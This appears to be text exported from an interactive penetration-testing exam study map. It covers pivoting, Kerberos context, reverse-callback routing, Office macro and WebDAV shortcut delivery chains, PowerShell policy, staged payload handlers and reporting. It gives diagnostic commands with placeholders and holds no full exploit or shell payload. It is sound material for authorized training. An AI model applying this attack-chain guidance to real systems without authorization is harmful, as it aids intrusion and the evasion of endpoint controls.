Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
Preserve DNS, Kerberos names and time across a pivotNot inspectedAn IP connection works while hostname/Kerberos access fails
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
getent hosts TARGET_HOST
klist
date -u
Read the result
The route and credential may be valid while name/SPN context is wrong.
Still check: Check intended DNS source/result, realm/service name, time and KDC/service routes separately.
Illustrative output
TARGET_HOST resolves to WRONG_ADDRESS Ticket server: cifs/TARGET_HOST@REALM Direct IP transport: works
Validate prerequisites and compare methods
Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
getent hosts TARGET_HOST
klist
date -u
What did you find?
Enabled: Correct naming/time and routes produce accepted service authentication: use that identity-preserving path.
Ruled out here: The ticket names another service/host: reject it for this operation.
Unresolved: Successful IP transport without named service evidence does not settle Kerberos.
Show connections
These are conditional possibilities. Check the named condition before moving.
Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
Conditional: tunnel through controlled DNS infrastructure — DNS is an available carrier while simpler permitted routes are unavailable
Requires: Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution
Build the callback and delivery routes separately from the attack routeNot inspectedA pivoted exploit reaches its target but its shell/download cannot return
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ss -lnt
ip route get TARGET
Read the result
A working initiating proxy path does not route a target's new connection back to that private interface.
Still check: Check the target's route, listener bind, chosen reverse forward/agent listener and final handler.
Illustrative output
Tool -> proxy -> target: works Advertised LHOST: assessment-only interface Target -> advertised LHOST: no established route
Validate prerequisites and compare methods
Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
ss -lnt
ip route get TARGET
What did you find?
Enabled: The target-initiated leg reaches the intended receiver and effect is verified: use the return route.
Ruled out here: The target cannot reach the advertised address and no selected forward provides it: reject that callback address/design.
Unresolved: No packets without execution proof leaves trigger and route separately unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Compose multiple pivots and validate every connection legNot inspectedA second internal network is reachable only from a later foothold
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
hostname
ip route
ss -lnt
Read the result
The break lies beyond a known working leg; a connected second carrier is not a complete final route.
Still check: Test each listener-to-destination leg, names and return traffic independently from the correct source.
Illustrative output
Hop 1 service test: works Hop 2 carrier: connected Final application: times out
Validate prerequisites and compare methods
A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths
ip route
ss -lnt
What did you find?
Enabled: Every required application leg is verified: use the composed route.
Ruled out here: One required hop cannot reach the destination under the selected topology: reject that composition.
Unresolved: A final timeout without per-leg tests cannot identify which hop failed.
Show connections
These are conditional possibilities. Check the named condition before moving.
Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood
Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Conditional: tunnel through controlled DNS infrastructureNot inspectedDNS is an available carrier while simpler permitted routes are unavailable
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
dig DOMAIN NS
Read the result
Delegation is an infrastructure prerequisite; an NS record alone does not prove ownership or an operational tunnel.
Still check: Confirm authorized control, resolver path, compatible client/server/runtime and supported intended operation.
Illustrative output
Delegated zone: CONTROLLED_DOMAIN Authoritative server: CONTROLLED_NS Resolver path from pivot: not yet verified
Validate prerequisites and compare methods
Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution
dig DOMAIN NS
What did you find?
Enabled: The controlled carrier and required application operation work: use this constrained fallback.
Ruled out here: No approved domain/control or required DNS path exists: reject this design.
Unresolved: An isolated DNS callback does not establish a stable tunnel or full route.
Show connections
These are conditional possibilities. Check the named condition before moving.
Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood
Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities
Resolve payload execution obstacles
Use a gated Office macro delivery chainNot inspectedAn assigned client-side scenario includes Office and a document-open interaction
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
Get-Item .\FILE -Stream *
Get-Content .\FILE -Stream Zone.Identifier -ErrorAction SilentlyContinue
Read the result
Internet-origin metadata and absent macro execution localize an earlier gate than network connectivity.
Still check: Check compatible Office, actual macro/user trigger and applicable policy; a delivered/opened document is not execution.
Illustrative output
Zone.Identifier present ZoneId=3 Office interaction: document opens; macro execution not observed
Validate prerequisites and compare methods
Compatible installed Office/macro support, a real required user interaction, executable document state and allowed macro/security policy
Get-Item .\FILE -Stream *
Get-Content .\FILE -Stream Zone.Identifier -ErrorAction SilentlyContinue
What did you find?
Enabled: The permitted interaction triggers the expected bounded command effect: choose the supported delivery chain.
Ruled out here: Office/policy blocks the required macro path: reject this chain under those conditions.
Unresolved: A missing callback with no trigger evidence leaves execution unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
Use a Windows Library/WebDAV/shortcut chain with explicit interactionNot inspectedA client-side scenario permits a Library file and remote share presentation
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
Get-Content .\FILE.library-ms
Test-NetConnection LHOST -Port PORT
Read the result
The resource can be presented while the executable user interaction is still absent.
Still check: Verify compatible WebDAV/Library handling, actual shortcut target/launch, policy and its command effect.
Illustrative output
Library resource: http://LHOST:PORT/ Remote folder request: observed Shortcut launch: not observed
Validate prerequisites and compare methods
Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action
Test-NetConnection LHOST -Port PORT
Get-Item .\FILE -Stream *
What did you find?
Enabled: The intended launch and resulting user-context command are observed: use the supported chain.
Ruled out here: The client cannot consume the resource or never performs the required allowed launch: reject that interaction path.
Unresolved: A WebDAV GET alone leaves code execution unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Match an artifact to its executable consumer and runtimeNot inspectedA downloaded/generated artifact exists but does not run
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m
Read the result
An existing file can fail because its loader/runtime is missing; this is separate from callback failure.
Still check: Verify exact architecture, loader/runtime, permissions, mount policy, line endings and integrity.
Illustrative output
FILE: ELF 32-bit Requested interpreter: /PATH/TO/LOADER Execution error: No such file or directory
Validate prerequisites and compare methods
Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m
What did you find?
Enabled: The matching consumer loads intact bytes and the minimal effect works: choose that artifact.
Ruled out here: A PE/ELF/DLL or architecture mismatch is incompatible with the intended consumer: reject that artifact.
Unresolved: A file-exists check without loader/hash evidence leaves the failure layer unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Use a gated Office macro delivery chain — An assigned client-side scenario includes Office and a document-open interaction
Requires: Compatible installed Office/macro support, a real required user interaction, executable document state and allowed macro/security policy
Use a Windows Library/WebDAV/shortcut chain with explicit interaction — A client-side scenario permits a Library file and remote share presentation
Requires: Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action
Repair quoting, encoding and command-length boundariesNot inspectedA simple command works while a longer or nested payload fails
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
Read the result
The break follows a shell-language/representation change, so network or exploit applicability need not have changed.
Still check: Confirm outer decoding, actual inner shell, length and correct byte/string encoding with a small test.
Illustrative output
Simple id command: expected output Added Bash redirection through sh: syntax error
Validate prerequisites and compare methods
Known outer request/template/database parser and inner shell; correct character encoding and transport length
$command = 'whoami'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
What did you find?
Enabled: The exact command survives every parser and its bounded effect is verified: use that representation.
Ruled out here: The selected shell does not implement the payload syntax: reject that unwrapped expression.
Unresolved: A generic server error without received/executed-command evidence needs a smaller discriminating test.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
Distinguish PowerShell policy, language mode and protected execution layersNot inspectedPowerShell reports scripts disabled, constrained syntax or an execution-control error
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
$PSVersionTable
Read the result
A script policy gate is distinct from language-mode restrictions or an antimalware verdict.
Still check: Identify the actual controlling policy and permitted execution path; encoding/policy arguments do not remove unrelated controls.
Illustrative output
Error: script execution is disabled LanguageMode: FullLanguage Effective policy scope: inspect
Validate prerequisites and compare methods
Actual host policy/language context and a supported allowed execution route; required runtime features remain available
Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
$PSVersionTable
What did you find?
Enabled: The supported allowed operation executes in the verified context: choose it.
Ruled out here: The required feature is unavailable under the effective enforced policy/language context: reject that implementation.
Unresolved: Unknown policy precedence or no detailed error leaves the exact layer unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Interpret endpoint-control evidence and select a justified alternative — An artifact disappears, a process is blocked, or execution is stopped with a policy/security event
Requires: Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold
Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Interpret endpoint-control evidence and select a justified alternativeNot inspectedAn artifact disappears, a process is blocked, or execution is stopped with a policy/security event
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
Test-Path .\FILE
Get-FileHash .\FILE -Algorithm SHA256 -ErrorAction SilentlyContinue
Read the result
A disappearing artifact narrows the boundary but does not identify a particular control without corroboration.
Still check: Correlate file/process/event identity, time and exact action before selecting an alternative consumer.
Illustrative output
After transfer: file present with expected hash Before launch: file absent Matching security event: inspect
Validate prerequisites and compare methods
Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold
Test-Path .\FILE
Get-FileHash .\FILE -Algorithm SHA256 -ErrorAction SilentlyContinue
What did you find?
Enabled: Specific control evidence identifies the block and another permitted compatible method exists: select that alternative.
Ruled out here: The file is intact and the actual error is wrong architecture: reject the detection hypothesis.
Unresolved: No event visibility leaves the cause possible/inconclusive; do not invent an AMSI/AV diagnosis.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Pair staged payloads with the correct handler and session lifecycleNot inspectedA payload connects without a session, or a handler/session exits unexpectedly
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
show options
jobs
sessions
Read the result
The first-stage protocol may be reaching a receiver that cannot provide the remaining stage.
Still check: Verify exact payload/architecture/transport pair, listener bind, stage route and lifecycle.
Illustrative output
Artifact payload: staged PAYLOAD_NAME Listener: raw Netcat Sessions: none
Validate prerequisites and compare methods
Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration
show options
jobs
sessions
What did you find?
Enabled: A matching supported handler completes the intended session and identity is checked: use it.
Ruled out here: The handler is configured for another payload family: reject that pairing.
Unresolved: A connection without stage/command evidence leaves a usable session unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener
Use a framework module with explicit target and feature constraintsNot inspectedA reviewed module fits a verified exploit prerequisite set
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
info
show options
show targets
show payloads
Read the result
The module describes conditions to investigate; its existence is not a vulnerability result.
Still check: Verify exact target/configuration, access, payload/route and current feature restrictions before selecting it.
Illustrative output
Module target: BUILD_AND_PLATFORM Required option: authenticated ROLE Observed target: role/feature not yet verified
Validate prerequisites and compare methods
Correct module/target/options, accepted payload/delivery route and the applicable current exam feature/target restrictions
info
show options
show targets
show payloads
What did you find?
Enabled: The module conditions and intended effect are independently established: use it within the permitted context.
Ruled out here: The required feature/target is absent: reject this module candidate.
Unresolved: A banner match without role/configuration evidence is inconclusive; do not use a check to replace prerequisite reasoning.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Pair staged payloads with the correct handler and session lifecycle — A payload connects without a session, or a handler/session exits unexpectedly
Requires: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration
Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
Diagnose connection direction, listener and session failures in orderNot inspectedCommand execution or payload delivery exists but the expected usable channel does not
Starting access: A recorded delivery/execution chain with the expected consumer and effect
Discover the clue
ss -lnt
ip route get TARGET
sudo tcpdump -ni INTERFACE tcp port PORT
Read the result
The channel failed before an observed connection; investigate trigger/advertised route/egress before terminal repair.
Still check: Name the process initiating the connection and its actual destination address/port. Check the listener bind and each route/pivot leg; if delivery works but no callback arrives, repair the return path before changing payload bytes.
Illustrative output
Execution proof: confirmed Listener: bound on EXPECTED_PORT Packet observation: no target SYN
Validate prerequisites and compare methods
A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
ss -lnt
ip route get TARGET
sudo tcpdump -ni INTERFACE tcp port PORT
What did you find?
Enabled: The correct packet/session path works and identity is verified: use the resulting channel.
Ruled out here: The advertised address is unreachable and not forwarded: reject that callback topology.
Unresolved: No packets without prior execution proof cannot distinguish a failed trigger from network failure.
Show connections
These are conditional possibilities. Check the named condition before moving.
Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
Pair staged payloads with the correct handler and session lifecycle — A payload connects without a session, or a handler/session exits unexpectedly
Requires: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration
Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence
Complete attacks and retain reproducible evidence
Maintain state and select the next evidence-producing testNot inspectedSeveral hosts, identities, routes or competing hypotheses need coordination
Starting access: An assigned objective, scope and accumulated host/identity/route evidence
Discover the clue
For each candidate record:
HOST | IDENTITY | ROUTE | OBSERVED CAPABILITY | MISSING CONDITION | NEXT DISCRIMINATING TEST
Read the result
The ledger distinguishes an unvalidated hypothesis from an enabled candidate and a missing coverage question.
Still check: Verify the next test resolves a stated uncertainty and its expected outcomes change the decision.
Illustrative output
Candidate A: writable object; consumer unknown Candidate B: permitted operation; trigger verified Coverage gap: unexamined service
Validate prerequisites and compare methods
Explicit scope/objective and a record of observations, unknowns and available capabilities
HOST | IDENTITY | CREDENTIAL TYPE | ROUTE | OBSERVATION | HYPOTHESIS | MISSING PREREQUISITE | NEXT TEST
What did you find?
Enabled: A candidate has the necessary evidence and a discriminating test: prioritize it by gain/cost/impact.
Ruled out here: The action repeats an unchanged disproven context: reject it as the next test.
Unresolved: Missing source/identity/route records require state reconstruction first.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty
Collect focused BloodHound data and validate an attack path — Directory relationships are too broad for manual comparison or a candidate chain needs ranking
Requires: Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection
Recover from dead ends without repeating disproven paths — Repeated attempts add no new evidence or several layers have been changed at once
Requires: A saved last-known-working state, recorded errors and a bounded next uncertainty
Integrate a standalone or assumed-breach AD attack — Individual techniques are understood but the full path must be selected independently
Requires: An assigned objective and current host/identity/route map; each next method's enabling conditions must be produced or discovered
Integrate a standalone or assumed-breach AD attackNot inspectedIndividual techniques are understood but the full path must be selected independently
Starting access: An assigned objective, scope and accumulated host/identity/route evidence
Discover the clue
CURRENT RESULT -> CANDIDATE NEXT METHOD -> REQUIRED INPUT -> MISSING PROOF
Read the result
A file read does not itself create a shell; the chain needs an actual credential/identity transition.
Still check: Verify every produced material type, account, route and service-specific right before connecting the next step.
Illustrative output
Result: file read Proposed next step: SSH Missing input: usable key/password and matched user
Validate prerequisites and compare methods
An assigned objective and current host/identity/route map; each next method's enabling conditions must be produced or discovered
OBSERVATION -> ENABLED METHOD -> VERIFIED CAPABILITY -> NEW STATE -> RE-ENUMERATION
What did you find?
Enabled: Each receiving method's prerequisites are supplied by verified state: follow the connected chain.
Ruled out here: The proposed next method requires a capability not produced or available: reject that handoff.
Unresolved: An inferred secret or stale account association keeps the chain provisional.
Show connections
These are conditional possibilities. Check the named condition before moving.
Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance
Recover from dead ends without repeating disproven pathsNot inspectedRepeated attempts add no new evidence or several layers have been changed at once
Starting access: An assigned objective, scope and accumulated host/identity/route evidence
Discover the clue
LAST VERIFIED STATE | FIRST NEW FAILURE | EXACT ERROR | CHANGED CONDITION | NEXT CONTROL
Read the result
Repeated payload changes are not testing the first missing transfer/route condition.
Still check: Reproduce the last proof and isolate one new condition at a time; preserve rejected paths and return conditions.
Illustrative output
Last working: target command identity proof New failure: artifact download has no server request Recent changes: several payload variants
Validate prerequisites and compare methods
A saved last-known-working state, recorded errors and a bounded next uncertainty
LAST WORKING STATE | FIRST FAILED BOUNDARY | EXACT ERROR | CHANGED CONDITION | DISCRIMINATING TEST
What did you find?
Enabled: The new test identifies/fixes the actual boundary or justifies another enabled path: proceed.
Ruled out here: The same absent prerequisite remains unchanged: reject another identical attempt.
Unresolved: Unknown last-working state calls for a small reproducible baseline rather than another full chain.
Show connections
These are conditional possibilities. Check the named condition before moving.
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty
Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities
Capture state-transition, proof and exploit-adaptation evidenceNot inspectedAccess, privilege, identity or route changes, or a report will need reproduction
Starting access: An assigned objective, scope and accumulated host/identity/route evidence
Discover the clue
hostname
id
ip addr
Read the result
A success screenshot or identity line can be real while the reproduction path is incomplete.
Still check: Capture the exact source/destination, method, material context, transition, relevant proof and adaptation steps privately.
Illustrative output
Saved record: command and output present Host/identity: recorded Route and reproduction parameters: missing
Validate prerequisites and compare methods
Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance
hostname
id
ip addr
What did you find?
Enabled: The transition can be independently reconstructed from retained evidence: promote that verified result to the report.
Ruled out here: The record comes from the wrong host/context: reject it as proof for this objective.
Unresolved: A tool success string without observed effect leaves the access claim unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Build and validate the report and submission artifacts — Verified findings and private transition evidence are ready for reporting
Requires: Complete reproduction path, required screenshots/proofs, suitable document tooling and the current submission naming/archive rules
Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities
Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Build and validate the report and submission artifactsNot inspectedVerified findings and private transition evidence are ready for reporting
Starting access: An assigned objective, scope and accumulated host/identity/route evidence
Discover the clue
pdfinfo REPORT.pdf
7z l REPORT.7z
md5sum REPORT.7z
Read the result
The container is valid while a reproduction instruction is unreadable; inspect rendered content as well as file structure.
Still check: Verify complete reproduction, legible pages, current required names/content and upload/local checksum when applicable.
Illustrative output
PDF: opens; page count available Archive: contains REPORT.pdf Rendered review: a command is clipped
Validate prerequisites and compare methods
Complete reproduction path, required screenshots/proofs, suitable document tooling and the current submission naming/archive rules
pdfinfo REPORT.pdf
7z l REPORT.7z
md5sum REPORT.7z
What did you find?
Enabled: All rendered/content/archive checks pass: use the validated submission artifact.
Ruled out here: Missing/clipped proof or wrong archive content fails readiness despite successful compression.
Unresolved: Metadata alone leaves visual content and reproduction completeness unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance
Recover from dead ends without repeating disproven paths — Repeated attempts add no new evidence or several layers have been changed at once
Requires: A saved last-known-working state, recorded errors and a bounded next uncertainty
Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities
No matching surfaces. Clear the search or change the coverage filter.